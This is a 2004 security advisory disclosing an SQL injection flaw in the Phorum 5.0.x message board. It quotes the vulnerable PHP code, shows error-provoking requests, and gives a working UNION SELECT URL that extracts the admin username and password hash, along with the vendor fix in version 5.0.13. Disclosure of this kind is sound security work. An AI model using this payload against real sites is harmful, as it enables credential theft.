Author: Janek Vind "waraxe"
Date: 11. November 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=37


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Phorum is a web based message board written in PHP. Phorum is designed with
high-availability and visitor ease of use in mind. Features such as mailing
list integration, easy customization and simple installation make Phorum
a powerful add-in to any website.

Homepage: http://phorum.org/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sql injection bug, discussed here, is present in all Phorum 5.0.x versions,
up to and including 5.0.12 . It is fixed in new Phorum version - 5.0.13 .
First of all - user must be logged in to successful exploit.
Well, let's start with looking @ source code of the "follow.php", line 37:

---------------[ original code ]--------------------

if(isset($PHORUM["args"][1])){
$thread=$PHORUM["args"][1];
} elseif(isset($_POST["thread"])){
$thread=$_POST["thread"];
}

if(empty($thread)) {
phorum_redirect_by_url(phorum_get_url(PHORUM_LIST_URL));
exit();
}

$message=phorum_db_get_message($thread);

---------------[/original code ]---------------------

So unsanitaized user-submitted variable from POST request will be delivered
to function "phorum_db_get_message($thread)". Even more, "if/elseif" construction
here is WITHOUT ending "else"... So if '$PHORUM["args"][1]' is not set and
'$_POST["thread"]' is also not set, then variable "$thread" can be victim of the
poisoning through $_GET or $_COOKIE arrays.
Now, let's trace execution flow further - "include/db/mysql.php", line 642:


---------------[ original code ]--------------------

function phorum_db_get_message($message_id){
$PHORUM = $GLOBALS["PHORUM"];

$conn = phorum_db_mysql_connect();

$forum_id_check = "";
if (!empty($PHORUM["forum_id"])){
$forum_id_check = "(forum_id = {$PHORUM['forum_id']} OR forum_id=0) and";
}

$sql = "select {$PHORUM['message_table']}.* from {$PHORUM['message_table']} where $forum_id_check message_id=$message_id";

$res = mysql_query($sql, $conn);

if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");

---------------[/original code ]---------------------

And we can see problematic sql query: "... $forum_id_check message_id=$message_id";
No quotes, so sql injection must be exist. Let's try to provoke some error messages.
We issue GET request like this:

http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe

... and there is nice error popping up:

"Unknown column 'waraxe' in 'where clause': select phorum_messages.* from phorum_messages where
(forum_id = 1 OR forum_id=0) and message_id=waraxe"
Same error message appears with using another method:

http://localhost/phorum5012/follow.php?forum_id=1&thread=waraxe

Further exploiting depends on mysql server version. If it's 4.x and supports
UNION functionality, then arbitrary information from database can be retrieved by any
currently logged in user, including unprivileged one. Proof of concept:

----------------[ real life exploit ]---------------

http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1

----------------[/real life exploit ]---------------

... and you can see admin's uername and password's md5 hash.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vendor contacted: 10. November 2004
Vendor response: 10. November 2004

New Phorum version 5.0.13 is available at http://phorum.org/downloads.php
and has many security improvements, including fix against this sql injection bug.

For discussion, help requests, etc - http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna, icenix and slimjim100!
Tervitused - Heintz ja Maku!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

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Published on: 2005-01-06 (5217 reads)